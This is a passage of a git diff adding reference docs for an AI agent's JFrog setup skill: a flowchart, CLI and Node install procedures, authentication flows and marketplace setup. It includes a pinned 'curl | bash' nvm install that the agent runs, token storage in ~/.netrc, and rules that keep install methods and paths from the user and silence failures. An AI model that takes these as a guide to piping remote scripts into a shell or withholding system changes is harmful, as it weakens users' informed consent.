-->|Yes, macOS/Linux| NVMINSTALL["Install nvm (pinned version) + nvm install --lts"]:::autoBox + ASKNODE -->|Yes, Windows| WINGETNODE["winget install OpenJS.NodeJS.LTS"]:::autoBox + ASKNODE -->|No| STOP0["STOP: cannot proceed without Node"]:::stopBox + NVMINSTALL -->|failed| F1["Fall back: ask user to install Node.js >= 18 manually"]:::fixBox + NVMINSTALL -->|ok| S2 + WINGETNODE --> F1W["Tell user: open a new terminal, re-run /jfrog-init"]:::fixBox + S1 -->|yes| S2 + + S2["2. jf CLI installed and >= 2.106.0?"]:::stepBox + S2 -->|missing| ASKJF["AskUserQuestion: Install JFrog CLI? Yes/No"]:::fixBox + S2 -->|outdated| ASKJFU["AskUserQuestion: Update JFrog CLI? Yes/No"]:::fixBox + ASKJF -->|Yes| INSTJF["jfrog-install-jf-cli.mjs: Plan A npm install -g jfrog-cli-v2-jf"]:::autoBox + ASKJFU -->|Yes| INSTJF + ASKJF -->|No| STOP0J["STOP: cannot proceed without jf"]:::stopBox + ASKJFU -->|No| STOP0J + INSTJF -->|npm exited 0, but resolving jf is shadowed by an earlier install on PATH| SHADOW["Report shadowing — move npm's bin ahead on PATH, or remove the other install"]:::fixBox + SHADOW --> PLANC + INSTJF -->|npm failed, or exited 0 but jf still isn't resolving up to date and not shadowed, and a private registry is configured| PLANB["Plan B: retry npm install against the public registry"]:::autoBox + PLANB -->|jf now resolves up to date| S2RE + PLANB -->|still not up to date| PLANC + INSTJF -->|npm missing, or Plan A/B failed to leave an up-to-date jf on PATH| PLANC["Plan C: direct binary download to ~/.jfrog/bin, checksum-verified, runs jf --version to confirm"]:::autoBox + PLANC -->|Windows| WINPS["Print PowerShell one-liner — user runs it themselves, then re-runs /jfrog-init"]:::fixBox + PLANC -->|macOS/Linux| S2RE + INSTJF -->|npm succeeded and jf now resolves >= 2.106.0| S2RE["Re-check: installed and >= 2.106.0?"]:::stepBox + S2RE -->|still missing/outdated| STOP1["STOP: show raw install error"]:::stopBox + S2RE -->|ok| S3 + S2 -->|yes| S3 + + S3["3. jf connected to a server?"]:::stepBox + S3 -->|no| ASKMETHOD["AskUserQuestion: Web login or Access token?"]:::fixBox + ASKMETHOD -->|Web login| WEBLOGIN["Register session, show code/link, retrieve + save credentials — all in-session, this skill's own local scripts"]:::autoBox + WEBLOGIN --> S3ASKW["AskUserQuestion: Did you finish logging in? Yes/No"]:::fixBox + S3ASKW -->|Yes| S3 + S3ASKW -->|No| STOP0B["STOP: user cancelled"]:::stopBox + ASKMETHOD -->|Access token| F3["Print one command, --url pre-filled — user runs it themselves in their own terminal, pastes the token"]:::fixBox + F3 --> S3ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S3ASK -->|Yes| S3 + S3ASK -->|No| STOP0B + S3 -->|yes| S4 + + S4["4. Server reachable and credentials valid?"]:::stepBox + S4 -->|multiple servers, no default| ASKSRV["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV --> S4 + S4 -->|reachable, but token invalid/expired| F4["Print one command, --url and --server-id pre-filled (token-only, no web option — avoids a duplicate server) — user runs it themselves"]:::fixBox + F4 --> S4ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S4ASK -->|Yes| S4 + S4ASK -->|No| STOP0C["STOP: user cancelled"]:::stopBox + S4 -->|unreachable/timeout/other| STOP2["STOP: show raw error (network/URL hint included)"]:::stopBox + S4 -->|yes| S5 + + S5["5. Plugin mcp.json has mcpServers.jfrog? (auto-substitutes a JFROG_PLATFORM_URL/JFROG_URL placeholder inline, if present)"]:::stepBox + S5 -->|substitution needed, server-id ambiguous| ASKSRV5["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV5 --> S5 + S5 -->|missing/invalid/no entry, incl. substitution failure| F5["Note: reinstall or update the JFrog plugin, or resolve jf config (non-blocking)"]:::fixBox + F5 --> S6 + S5 -->|yes, valid url| S6 + + S6["6. Project resolved?"]:::stepBox + S6 -->|state file has current project| ASKREUSE["AskUserQuestion: reuse CURRENT or pick different"]:::fixBox + ASKREUSE -->|reuse| VALPROJ["Validate via authenticated GET /access/api/v1/projects/KEY"]:::stepBox + ASKREUSE -->|different| ASKPROJ["AskUserQuestion: first 2 projects, or Other to type one"]:::fixBox + S6 -->|no state file| ASKPROJ + ASKPROJ --> RESOLVE["Resolve name-or-key (case-insensitive) against project list from authenticated GET /access/api/v1/projects"]:::stepBox + RESOLVE -->|no match, 1st attempt| ASKPROJ + RESOLVE -->|no match again, 2nd attempt: give up| F6 + RESOLVE -->|matched| VALPROJ + VALPROJ -->|404 or 403, 1st attempt| ASKPROJ + VALPROJ -->|404 or 403 again, 2nd attempt: give up| F6 + VALPROJ -->|401, credentials rejected| STOPCREDS["STOP: show raw error (re-auth via the Step 3/4 picker)"]:::stopBox + VALPROJ -->|2xx| S7 + + F6["Note: no project resolved after 1 retry — continue without one (non-blocking)"]:::fixBox + F6 --> S7 + + S7["7. AI Catalog reachable and user entitled?"]:::stepBox + S7 -->|anon 404 / connection failure / 5xx, exit 1| F7U["Note: catalogReason=unreachable — JPD may not host AI Catalog, or it's down right now (non-blocking)"]:::fixBox + F7U --> WRITE + S7 -->|authed 401 or 403, not entitled, exit 4| F7E["Note: catalogReason=not_entitled — ask JFrog admin for AI Catalog Read role (non-blocking)"]:::fixBox + F7E --> WRITE + S7 -->|ambiguous server-id, exit 2| ASKSRV7["AskUserQuestion: which jf server? (server-picker.md), then re-run"]:::fixBox + ASKSRV7 --> S7 + S7 -->|jf missing / credentials rejected / unexpected response shape, exit 3| STOP7["STOP: show raw error — no state file written"]:::stopBox + S7 -->|yes, entitled, exit 0| WRITE["Write state file: server, jpdUrl, and currentActiveProject if resolved (else previous project, if any, is kept) — written on every NON-blocking path out of Step 7"]:::autoBox + + WRITE --> S8CHECK{"Step 7 green AND harness == Claude Code? (detectHarness() reused from Step 5)"}:::stepBox + S8CHECK -->|no| DONE + S8CHECK -->|yes| S8["8. Claude agent-plugin marketplace registered?"]:::stepBox + S8 -->|exit 0, success| F8OK["Reply: Added the JFrog marketplace ... — trailing sentence after Final Summary"]:::autoBox + S8 -->|exit 1 or 3, failed| DONE + F8OK --> DONE + + DONE(["JFrog init complete"]):::doneBox + + classDef stepBox fill:#e8f0fe,stroke:#1a73e8,color:#000 + classDef fixBox fill:#fff4e5,stroke:#f9a825,color:#000 + classDef autoBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef doneBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef stopBox fill:#fce8e6,stroke:#c5221f,color:#000 +``` diff --git a/skills/jfrog-init/references/jf-cli-install-internals.md b/skills/jfrog-init/references/jf-cli-install-internals.md new file mode 100644 index 0000000..6c5a652 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-internals.md @@ -0,0 +1,75 @@ +# jfrog-install-jf-cli.mjs — installation internals + +Background for Step 2 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-install-jf-cli.mjs` handles all +of it and reports success/failure on stdout and its exit code — but it +explains what the script actually does, for debugging or when a user +asks how the install works. + +**Deliberately does not use** the base skill's +[`../jfrog/references/jfrog-cli-install-upgrade.md`](../../jfrog/references/jfrog-cli-install-upgrade.md) +(`brew install jfrog-cli` / a Linux-only curl one-liner, no Windows +guidance). This walk's primary method is one command that behaves +identically across macOS, Linux, and Windows without branching on OS — +`npm install -g jfrog-cli-v2-jf` — so it uses that instead. If npm +itself can't complete the install (missing, or a permissions error like +a global prefix that needs `sudo`), the script falls back to a +checksum-verified direct binary download with its own Windows handling. + +`jfrog-install-jf-cli.mjs` tries progressively more self-contained +install methods, falling through only when one genuinely fails: + +1. **Plan A — npm** (JFrog's own documented method: + docs.jfrog.com/integrations/docs/download-and-install-the-jfrog-cli#npm): + `npm install -g jfrog-cli-v2-jf` against whatever registry npm is + already configured for. No PATH/shell-rc changes here: npm's global + bin directory is expected to already be on PATH. This works + identically on macOS, Linux, and Windows, so there's no OS-specific + branch for this plan. +2. **Plan B — public registry retry**: triggered whenever Plan A's `npm` + command itself fails, *or* it exits 0 but the `jf` that resolves on + PATH afterward still isn't at the required version — provided that + stale `jf` is npm's own install and not a different, older `jf` + earlier on PATH shadowing it. Shadowing is reported directly and + skips straight to Plan C instead: retrying against a different + registry can't fix a PATH-ordering problem. If npm is configured for + a registry other than the + public one (common on a company machine, pointed at a + private/corporate mirror), the exact same install is retried with + `--registry=https://registry.npmjs.org/` — this one command only, + never touching the user's saved npm config. `jfrog-cli-v2-jf` is a + public package, so a private registry's own (possibly stale) auth + says nothing about whether the package itself is reachable. +3. **Plan C — direct binary download**: if npm is missing, or both A + and B failed for any other reason (observed in practice: a global + npm prefix that requires `sudo`), downloads the first-party `jf` + binary from `releases.jfrog.io` straight to `~/.jfrog/bin` — a + user-owned prefix that never needs elevated permissions — and + verifies it against the SHA-256 checksum Artifactory reports for that + same artifact (catches a truncated/corrupted transfer, not an + independent signature). Unlike Plans A/B, `~/.jfrog/bin` isn't on + PATH by default, so a successful Plan C also appends a PATH line to + the user's shell rc file (idempotent) and prints one for the caller + to `eval` immediately, so `jf` resolves both in future terminals and + in the *current* process without the user doing anything. + **Windows**: Plan C's direct-download path isn't reliable there, so + it instead prints a PowerShell one-liner — installing to a user-owned + path and prepending to the user-scope `Path` via + `[Environment]::SetEnvironmentVariable(..., 'User')`, no elevation + needed. Reads the existing user-scope value first rather than using + `setx PATH "...;$env:Path"`, which would copy the *combined* + machine+user PATH into the user variable (duplicating every + machine-level entry into it, permanently) and silently truncate past + `setx`'s 1024-character limit. The whole script exits 1 so Step 2 can + relay it to the user. + +Only if all three plans fail does the script print the plain +`npm install -g jfrog-cli-v2-jf` command and exit 1, for the user to +diagnose and run themselves. + +**Known trade-off of Plans A/B, called out in JFrog's own docs and not +something this script can detect or fix**: if the user relies on a +shim-based version manager (`nvm` / Volta) alongside another `jf` +install (Homebrew, curl, or Plan C itself), the version manager's +`bin/` takes PATH priority, so the npm-installed `jf` silently wins +regardless of what those other installs report. diff --git a/skills/jfrog-init/references/jf-cli-install-prompt.md b/skills/jfrog-init/references/jf-cli-install-prompt.md new file mode 100644 index 0000000..52c9b6e --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-prompt.md @@ -0,0 +1,74 @@ +# Step 2 — the install prompt + +**Required behavior for Step 2's red branch, not optional background.** +When `jfrog-detect-jf-cli.mjs` exits red with `reason: "missing"` (`jf` +not found on PATH at all), call `AskUserQuestion` with this exact +payload shape (arrays and options nested correctly; the tool rejects +flat/mis-shaped inputs with `InputValidationError`): + +```json +{ + "questions": [ + { + "question": "JFrog CLI isn't installed. Install it now?", + "header": "Install jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Install the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +When it instead exits red with `reason: "broken"` (`jf` **is** on PATH +but hung, timed out, or failed to run), the "isn't installed" wording +above is false — use this payload instead: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is installed but isn't responding (may be corrupted or hung). Reinstall it now?", + "header": "Reinstall jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Reinstall the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +The user picks with arrow keys. The `question` text is the entire +user-facing message for this step, for either branch. + +**Do not** mention any install method (`npm install -g`, the direct +binary download), the package name (`jfrog-cli-v2-jf`), the install +path (`~/.jfrog/bin`), or any other implementation detail — not in the +question, not in an option description, not anywhere. The user only +needs to answer Yes or No; everything else is noise. + +Forbidden phrases (non-exhaustive — never surface any of these in the +question or its option descriptions): +- *"via npm"* / *"npm install -g"* / *"as a global Node package"* +- *"download the binary"* / *"from releases.jfrog.io"* / *"to + ~/.jfrog/bin"* +- *"~68 MB download"* / any size or timing hint + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly. On **No** (or the +user selects "Other" and types an out-of-band answer), stop the walk +and tell the user `/jfrog-init` cannot continue without `jf`. + +`jfrog-install-jf-cli.mjs` tries npm first (JFrog's own documented +method, retried against the public registry if a private one fails), +then falls back to a checksum-verified direct binary download if npm +itself can't complete the install — and verifies `jf --version` +resolves before reporting success either way. See +`jf-cli-install-internals.md` for exactly how each plan works, +including the one npm trade-off the script can't detect or fix. + +After the install runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still +red, stop and show the raw error verbatim; do not guess at a second fix. diff --git a/skills/jfrog-init/references/jf-cli-update-prompt.md b/skills/jfrog-init/references/jf-cli-update-prompt.md new file mode 100644 index 0000000..59302a8 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-update-prompt.md @@ -0,0 +1,53 @@ +# Step 2 — the update prompt + +**Required behavior for Step 2's red branch when `reason` is +`"outdated"`, not optional background.** When `jfrog-detect-jf-cli.mjs` +exits red with `reason: "outdated"` (`jf` is installed, but below the +minimum version), call `AskUserQuestion` with this exact payload shape +— same shape as the install prompt (`jf-cli-install-prompt.md`), just +worded for an update instead of a fresh install: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is older than required. Update it now?", + "header": "Update jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Update the JFrog CLI now."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +Fill in `` with the detector's own `currentVersion` field (the +raw `jf --version` output, and nothing else). Do **not** use `detail` +for this — it also carries the required minimum version number, which +the very next rule forbids surfacing to the user. The `question` text +is the entire user-facing message for this step. + +**Do not** mention any install/update method (`npm install -g`), the +package name (`jfrog-cli-v2-jf`), or the specific minimum version number +— not in the question, not in an option description. The user only +needs to answer Yes or No. + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly — the same script +Step 2's install path uses. `npm install -g jfrog-cli-v2-jf` upgrades an +existing install in place, so there's no separate update script. On +**No** (or an out-of-band "Other" answer), stop the walk and tell the +user `/jfrog-init` cannot continue without an updated JFrog CLI. + +After the update runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still red +with `reason: "outdated"`, stop and show the raw error verbatim; do not +guess at a second fix. + +## Why there's a minimum version at all + +JFrog CLI v2.106.0 or later, configured for your JFrog Platform, is +required for the Agent Plugins Repositories feature this walk's own +Step 7 (AI Catalog) depends on. For more information, see [Configure +the JFrog CLI](https://docs.jfrog.com/artifactory/docs/agent-plugins-repositories#configure-the-jfrog-cli) +in Agent Plugins Repositories. diff --git a/skills/jfrog-init/references/jf-config-auth-picker.md b/skills/jfrog-init/references/jf-config-auth-picker.md new file mode 100644 index 0000000..0bb2074 --- /dev/null +++ b/skills/jfrog-init/references/jf-config-auth-picker.md @@ -0,0 +1,219 @@ +# jf config: web login vs. access token + +**Required behavior wherever this file is the referenced fix, not +optional background.** Two distinct call sites land here, with two +different option sets: + +- **Step 3** (`jf` is installed but not connected to any server at + all) — full picker: **Web login or Access token**. +- **Step 4**, when sub-check (1) (reachability) passed but sub-check + (2) (`jf rt ping`) failed with an auth-shaped error — `jf` is + already connected to a server, its token is just stale. **Token + only** (see "Why Step 4 is token-only" below) — skip straight to + that section. + +## Step 3: ask web vs. token + +```json +{ + "questions": [ + { + "question": "How do you want to connect to your JFrog Platform?", + "header": "Connect", + "multiSelect": false, + "options": [ + {"label": "Web login", "description": "Opens in your browser. I'll drive the rest."}, + {"label": "Access token", "description": "You paste a token into one command you run yourself."} + ] + } + ] +} +``` + +If the URL isn't already known, ask for it in a plain chat message +first (*"What's your JFrog Platform URL?"*) — both branches need it. +**Plain chat message, not `AskUserQuestion` with suggested options** — +there is no real candidate to offer here (unlike the server/project +pickers, which choose among *actual configured* values), so a picker +would only ever be guessing. Never suggest, guess, or pre-fill a +specific JFrog Platform URL (e.g. `mycompany.jfrog.io`, or anything else +inferred from the user's email domain, org, or prior context) — wait +for the user to type their own. + +### Web login branch + +This skill carries its own local copies of the web-login scripts under +`scripts/` — nothing is invoked cross-skill from the base `jfrog` skill. +The token never passes through this conversation. + +1. **Register the session:** + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-register-session.mjs" "" + ``` + Both login scripts are pure Node — unlike Step 2's `jf` CLI itself, + there's no separate prerequisite probe needed here (no `uuidgen`/`jq` + dependency to check for). Exit 2 = server unreachable, exit 3 = + registration failed — either one is a **red**, same as any other Step + 3/4 red: show the raw error, stop. +2. **Build the login URL** from `SESSION_UUID`: + ``` + /ui/login?jfClientSession=&jfClientName=JFrog-Skills&jfClientCode=1 + ``` + **Open it in the user's default browser automatically — do not just + print the link and ask them to click it themselves.** Use the + OS-appropriate opener: + ```bash + open "" # macOS + xdg-open "" # Linux + start "" "" # Windows (cmd) / `Start-Process ""` in PowerShell + ``` + If the opener command fails or isn't available (headless/remote + session, no `$DISPLAY`, etc.), fall back to showing the link as text + so the user can open it manually — don't treat that as a hard + failure. This mirrors the base `jfrog` skill's own + `references/jfrog-login-flow.md` step 2 exactly; it's spelled out + again here, in full, rather than left as a cross-reference, because a + model following only this file (never opening the base skill's doc) + must still open the browser automatically, not silently fall back to + printing the link. + + Show the verification code prominently, then confirm the link was + opened (or provide it, on fallback): + + > ## Verification code: `` + > + > I've opened the login page in your browser — enter the code above. + > + > Let me know when you're done. + + Then `AskUserQuestion`: + ```json + { + "questions": [ + { + "question": "Did you finish logging in?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Retrieve credentials and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] + } + ``` +3. On **Yes**, retrieve and save credentials: + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-save-credentials.mjs" "" "" + ``` + Exit 0 → done; the only thing this prints is `SERVER_ID=` and an + Artifactory version check — the token itself never appears in this + script's output, and this skill never reads it. Exit 2/3/4 → the + session's one-time token is now consumed either way (see the base + skill's "Gotchas") — tell the user plainly it didn't work and offer + to either restart web login from step 1 above or switch to the + Token branch; don't retry silently. +4. Re-run whichever detector sent you here (`jfrog-detect-jf-config.mjs` + for Step 3) to confirm green, then continue. + +Skip the base skill's "make it the default `jf` server?" gate — this +skill's own server resolution (`references/server-picker.md` / +"Resolving ``" in `SKILL.md`) already uses the sole +configured server silently when there's only one, so that question +would be redundant here. + +### Token branch (Step 3, and the only option for Step 4) + +Print exactly one ready-to-run command, with `--url` (and, for Step 4, +the already-resolved `--server-id`) filled in — the user runs it +**themselves, in their own terminal**, replacing the placeholder with +their own token. **Never** ask for the token in chat, and never run +this command yourself via the Bash tool — the token must not enter +this conversation at all. + +- **Step 3** (no server-id yet — one will be created): + ``` + jf config add jfrog --url= --access-token= --interactive=false + ``` +- **Step 4** (existing server, refreshing a stale token — reuse the + already-resolved `` and `--overwrite` so this updates the + same entry instead of creating a second one): + ``` + jf config add --url= --access-token= --interactive=false --overwrite + ``` + +Send this as its own chat message (same rule as today: no `!` prefix — +that runs inside Claude Code's own shell). Then `AskUserQuestion`: + +```json +{ + "questions": [ + { + "question": "Did you finish running that command?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Re-check and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] +} +``` + +On **Yes** → re-run the same detector that sent you here +(`jfrog-detect-jf-config.mjs` for Step 3, `jfrog-detect-server-ping.mjs +[server-id]` for Step 4 — never the other one). If still red, print +the same command and the same `AskUserQuestion` again — the loop is +harmless. On **No** → stop with exactly one sentence: *"OK — run +`/jfrog-init` again when ready."* Nothing else. + +## Why Step 4 is token-only + +`jfrog-login-save-credentials.mjs` derives (or overwrites) a server +entry **from the URL itself** (`https://mycompany.jfrog.io` → +`mycompany`), independent of whatever server-id Step 4 actually +resolved. Running the web-login branch there could silently create a +*second*, differently-named server instead of refreshing the token on +the one Step 4 is checking — so Step 4 only ever offers the Token +branch above, which explicitly reuses the existing `--server-id`. + +## Step 4's full branch table + +`jfrog-detect-server-ping.mjs [server-id]` runs two sub-checks, both +must pass: (1) an anonymous `fetch` of `/artifactory/api/system/ping` +— HTTP `200/401/403` = up, `404`/connection failure/`5xx` = red; (2) +`jf rt ping --server-id=`, token kept inside `jf`'s process — a +pass means the token is valid and authorized, the earliest signal of a +stale credential before it fails later at runtime. Sub-check (1) green ++ (2) red = tailor the message: an auth-shaped error points at a stale +token (the token-only fix above); a 30s timeout points at network/VPN; +anything else shows the raw `jf rt ping` error without guessing a cause. + +- **Exit 0 (green)** → proceed to Step 5. +- **Exit 1 (red)** → branch on the detector's `detail`, don't just stop + and dead-end on a generic "check with your admin": + - **Credentials invalid/expired** (sub-check (1) passed, only the + token is stale) → use the token-only fix above, then re-run *this + step's* detector (`jfrog-detect-server-ping.mjs`, not Step 3's) — + the user already has `jf` connected, they just need a fresh token. + - **Anything else** (connection failed, timeout, unexpected HTTP + code, reachability itself failed) → **stop.** No fix script. Show + the raw error line verbatim and tell the user to fix that and + re-run `/jfrog-init`. +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. **Stop and read + `references/server-picker.md` in full**, then re-invoke with the + pick as either the positional argument or `JF_SERVER_ID`. + +## What the token flow never does + +Neither this file's Token branch nor the Web branch's scripts ever +print, log, or store a token where this skill (or the model) can read +it: the Token branch's command is run by the user in their own +terminal; the Web branch's `jfrog-login-save-credentials.mjs` keeps the +retrieved token inside its own process and only ever prints +`SERVER_ID=...` plus a version check. `jfrog-detect-jf-config.mjs` only +checks *that* a server is configured (masked `jf config show` output); +`jfrog-detect-server-ping.mjs` validates the token via `jf rt ping`, +keeping it inside `jf`'s own process the whole time. diff --git a/skills/jfrog-init/references/marketplace-setup.md b/skills/jfrog-init/references/marketplace-setup.md new file mode 100644 index 0000000..2ffc523 --- /dev/null +++ b/skills/jfrog-init/references/marketplace-setup.md @@ -0,0 +1,34 @@ +# Step 8 — Claude agent-plugin marketplace + +**Required behavior for Step 8, not optional background.** + +## What this step does + +Registers the JFrog Claude agent-plugin marketplace with +Claude Code (`claude plugin marketplace add `), so plugins +published to Artifactory become installable via `/plugin install`. +`jfrog-add-claude-marketplace.mjs` does all of it, including the +`~/.netrc` write below — never call `claude` yourself. + +## The `~/.netrc` write + +The only place this skill itself puts a token on disk, so say so plainly +if the user asks. The token goes to `~/.netrc`, replacing any prior block +for that host. `claude plugin install` needs it because the marketplace +lists each plugin as a plain Artifactory URL with no credentials in it. +The marketplace fetch does not use the file, because the URL passed to +`claude plugin marketplace add` carries the token and Claude Code saves +that URL in its own plugin config. + +## Server scope + +Never ask which server to use — this step is non-blocking, so with +nothing resolvable it fails red instead. + +## Required branches + +- **Exit 0 (green)** → success. Reply with the success sentence in + `SKILL.md`'s Final summary rule 5, verbatim. +- **Exit 1 or 3 (red), or skipped (Step 7 not green, or not Claude + Code)** → say **nothing**, exactly as if Step 8 didn't exist for this + walk. diff --git a/skills/jfrog-init/references/mcp-plugin-config.md b/skills/jfrog-init/references/mcp-plugin-config.md new file mode 100644 index 0000000..01a818f --- /dev/null +++ b/skills/jfrog-init/references/mcp-plugin-config.md @@ -0,0 +1,100 @@ +# Step 5 — plugin-owned mcp.json: mechanics and per-harness paths + +Background for Step 5 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-detect-jfrog-mcp.mjs` handles +detection and substitution and reports the result as JSON — but it's +useful for debugging a red/error result or explaining what happened. + +**Placeholder substitution.** The plugin sometimes ships an `mcp.json` +where the JPD URL is a placeholder that would otherwise need to be +resolved at runtime from an env var: + +```json +{"mcpServers": {"jfrog": {"url": "https://${JFROG_PLATFORM_URL}/mcp"}}} +``` + +Because we have that URL sitting in `jf config`, and because leaving +the placeholder in place means the MCP silently fails to load in the +IDE / agent, Step 5 auto-substitutes it. If the detector finds the +placeholder pattern anywhere in the file, it calls +`jfrog-substitute-mcp-placeholders.mjs`, which: + +1. Parses the file as JSON and looks **only** at + `mcpServers.jfrog.url` — never a file-wide text replace, so an + unrelated MCP server entry or JSON value that happens to contain the + same placeholder text is never touched. +2. Reads the JPD URL from `jf config` (default server, or the one + passed as arg 2), normalizes it to the JPD root, and substitutes it + into that one `url` string. +3. Handles both the `https://${...}` form (where our own scheme would + double up) and the bare `${...}` form. +4. Re-serializes the whole file (`JSON.stringify(parsed, null, 2)`) and + writes atomically (temp file + rename) so a partial write cannot + corrupt the file. Original formatting/whitespace elsewhere in the + file is not preserved byte-for-byte. +5. Is idempotent — subsequent runs find no placeholder and no-op. + +This is the ONLY place `/jfrog-init` writes to the plugin-owned +`mcp.json`. Everything else in Step 5 is read-only. + +**Per-harness plugin-owned config file:** + +| Harness | Plugin-owned config file | +|--------------|--------------------------| +| Cursor | `~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json` (glob → newest) | +| VS Code | `~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json` | +| Claude Code | `~/.claude/plugins/cache//jfrog//.mcp.json` (glob) | + +Harness detection: `CLAUDECODE` / `CURSOR_TRACE_ID` / `VSCODE_PID` / +`TERM_PROGRAM`. Override with `JFROG_INIT_HARNESS=claude|cursor|vscode` +or a specific file via `JFROG_INIT_MCP_CONFIG=/abs/path`. + +**What the detector verifies** (three things): + +1. Plugin file exists and is non-empty at its harness-specific path. +2. Parses as valid JSON. +3. Contains an `mcpServers.jfrog` entry with a non-empty `url`. + +It does NOT enforce any other `type`/`url` shape (each plugin owns its +own schema) and it does NOT probe the endpoint — a mis-configured MCP +endpoint surfaces immediately the first time the user invokes it, and +the walk's other network checks (Steps 4, 7) already prove the JPD is +reachable. + +**Step 5 branches, required behavior:** + +- **Exit 0 (green)** → proceed to Step 6. +- **Exit 1 (red)** or **Exit 3 (error)** → **non-blocking** — proceed + to Step 6 as if green, but remember the cause for the Final Summary. + Steps 6 and 7 call the JPD's REST APIs directly with `jf config` + credentials, never through `mcpServers.jfrog`, so a broken or + missing plugin `mcp.json` doesn't affect whether those checks are + accurate — there's nothing to gain by stopping the walk over it. + Tell the two red causes apart from the detector's `detail` for the + Final Summary note: + - Plugin file missing / empty / lacks `mcpServers.jfrog`. Fix: + **reinstall or update the JFrog plugin.** If the user asks why or + how to fix it, run: + + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-reinstall-jfrog-plugin.mjs"; true + ``` + + and relay its per-harness remedy — it only diagnoses and prints, + never writes to the plugin's mcp.json. + - Plugin file has a placeholder and automatic substitution failed + with no url set for the resolved server-id. Fix: **resolve `jf + config`**. Reinstalling the plugin does not fix this. + - (Exit 3 only) Harness could not be detected, or plugin file is + invalid JSON / unreadable. Show the raw detector error in the note. +- **Exit 2 (`ask`)** → the one outcome that still blocks: placeholder + present, but the jf server-id is ambiguous — every step from here on + needs a resolved server-id, so there's nothing to skip ahead to. + **Stop and read `references/server-picker.md` in full**, then + re-invoke with the pick as the positional argument. + +**Note on Claude Code**: today the released Claude JFrog plugin does +not include a `.mcp.json` in its shipped tree, so Step 5 goes red on +Claude Code until the plugin ships one — this no longer stops the +walk, but the Final Summary still notes it. Never fall back to +project-scope `.mcp.json`. diff --git a/skills/jfrog-init/references/node-install-prompt.md b/skills/jfrog-init/references/node-install-prompt.md new file mode 100644 index 0000000..db8baa2 --- /dev/null +++ b/skills/jfrog-init/references/node-install-prompt.md @@ -0,0 +1,82 @@ +# Step 1 — the Node.js install prompt + +**Required behavior for Step 1's red branch, not optional background.** +When `node --version` is missing, unparseable, or its major version is +`< 18`, call `AskUserQuestion` with this exact payload shape (fill in +`` with either `isn't installed` or the specific `` `` +is too old (need ≥ 18) ``, matching whichever is actually true): + +```json +{ + "questions": [ + { + "question": "Node.js . Install it now?", + "header": "Install Node", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Install Node.js now. Adds a line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +**Do not** mention any install method (nvm, winget), a version manager +name, or any URL — not in the question, not in an option description. +The user only needs to answer Yes or No. + +On **No** (or an out-of-band "Other" answer), stop the walk and tell +the user `/jfrog-init` cannot continue without Node ≥ 18. + +## On Yes: no script — run these commands directly + +**Node missing entirely means no `.mjs` script can run to install it** +(same chicken-and-egg reason Step 1 has no detector script at all — see +`SKILL.md`). The install itself is a bash/PowerShell command run +directly via the Bash tool, exactly like Step 1's own `node --version` +check, with the same `; true` treatment described in +`script-invocation.md`. + +First, determine the platform: + +```bash +uname -s 2>/dev/null || echo Windows_NT +``` + +**macOS / Linux** (anything other than a Windows-shaped result) — install +a pinned `nvm` release, then install the current Node LTS. The version +below is pinned rather than resolved from `api.github.com/.../latest` — +that endpoint is unauthenticated and rate-limited to 60 requests/hour per +IP, so it routinely 403s behind a corporate NAT; when it fails silently +(redirected to `/dev/null`), the tag resolves to an empty string, the +install-script URL collapses to `nvm-sh/nvm//install.sh`, and without +`-f` that 404 body would get piped straight into `bash`. Bump +`NVM_TAG` here when nvm ships a new release: + +```bash +NVM_TAG=v0.40.6 && \ +curl -fsSL "https://raw.githubusercontent.com/nvm-sh/nvm/${NVM_TAG}/install.sh" | bash && \ +export NVM_DIR="$HOME/.nvm" && [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" && \ +nvm install --lts && node --version && npx --version +``` + +**Windows** — install via `winget` (ships by default on Windows 10 +1709+ / Windows 11): + +```powershell +winget install -e --id OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements +``` + +`winget`'s PATH update isn't visible to the current shell. On success, +tell the user to open a new terminal and re-run `/jfrog-init` — do not +try to re-verify `node --version` in the same session on Windows. + +## Fallback + +Any failure on macOS/Linux (no `curl`, network error, the `nvm` +install script itself failing, or the final `node --version` still not +resolving) — or 